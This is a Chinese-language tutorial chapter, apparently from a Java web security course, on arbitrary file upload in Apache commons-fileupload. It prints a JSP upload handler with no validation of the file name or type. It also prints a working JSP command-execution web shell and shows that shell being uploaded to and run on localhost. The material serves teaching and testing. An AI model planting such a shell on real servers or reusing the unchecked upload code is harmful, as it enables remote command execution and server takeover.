Apache commons-fileupload是一个非常常用的文件上传解析库,Spring MVCStruts2Tomcat等底层处理文件上传请求都是使用的这个库。
    示例 - Apache commons-fileupload文件上传:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
    3. <%@ page import="org.apache.commons.fileupload.FileItemStream" %>
    4. <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
    5. <%@ page import="org.apache.commons.fileupload.util.Streams" %>
    6. <%@ page import="java.io.File" %>
    7. <%@ page import="java.io.FileOutputStream" %>
    8. <%
    9. if (ServletFileUpload.isMultipartContent(request)) {
    10. ServletFileUpload fileUpload = new ServletFileUpload();
    11. FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
    12. String dir = request.getServletContext().getRealPath("/uploads/");
    13. File uploadDir = new File(dir);
    14. if (!uploadDir.exists()) {
    15. uploadDir.mkdir();
    16. }
    17. while (fileItemIterator.hasNext()) {
    18. FileItemStream fileItemStream = fileItemIterator.next();
    19. String fieldName = fileItemStream.getFieldName();// 字段名称
    20. if (fileItemStream.isFormField()) {
    21. String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
    22. out.println(fieldName + "=" + fieldValue);
    23. } else {
    24. String fileName = fileItemStream.getName();
    25. File uploadFile = new File(uploadDir, fileName);
    26. out.println(fieldName + "=" + fileName);
    27. FileOutputStream fos = new FileOutputStream(uploadFile);
    28. // 写文件
    29. Streams.copy(fileItemStream.openStream(), fos, true);
    30. out.println("文件上传成功:" + uploadFile.getAbsolutePath());
    31. }
    32. }
    33. } else {
    34. %>
    35. <!DOCTYPE html>
    36. <html lang="en">
    37. <head>
    38. <meta charset="UTF-8">
    39. <title>File upload</title>
    40. </head>
    41. <body>
    42. <form action="" enctype="multipart/form-data" method="post">
    43. <p>
    44. 用户名: <input name="username" type="text"/>
    45. 文件: <input id="file" name="file" type="file"/>
    46. </p>
    47. <input name="submit" type="submit" value="Submit"/>
    48. </form>
    49. </body>
    50. </html>
    51. <%
    52. }
    53. %>

    示例 - 本地命令执行后门代码:

    1. <%@ page import="java.io.InputStream" %>
    2. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    3. <pre>
    4. <%
    5. String[] cmd = request.getParameterValues("cmd");
    6. Process process = Runtime.getRuntime().exec(cmd);
    7. InputStream in = process.getInputStream();
    8. int a = 0;
    9. byte[] b = new byte[1024];
    10. while ((a = in.read(b)) != -1) {
    11. out.println(new String(b, 0, a));
    12. }
    13. in.close();
    14. %>
    15. </pre>

    因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问示例中的文件上传地址:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):
    2. 1. Apache commons fileupload文件上传测试 - 图1
    后门成功的写入到了网站目录:
    2. 1. Apache commons fileupload文件上传测试 - 图2访问命令执行后门测试:http://localhost:8000/uploads/cmd.jsp?cmd=ls,如下图:
    2. 1. Apache commons fileupload文件上传测试 - 图3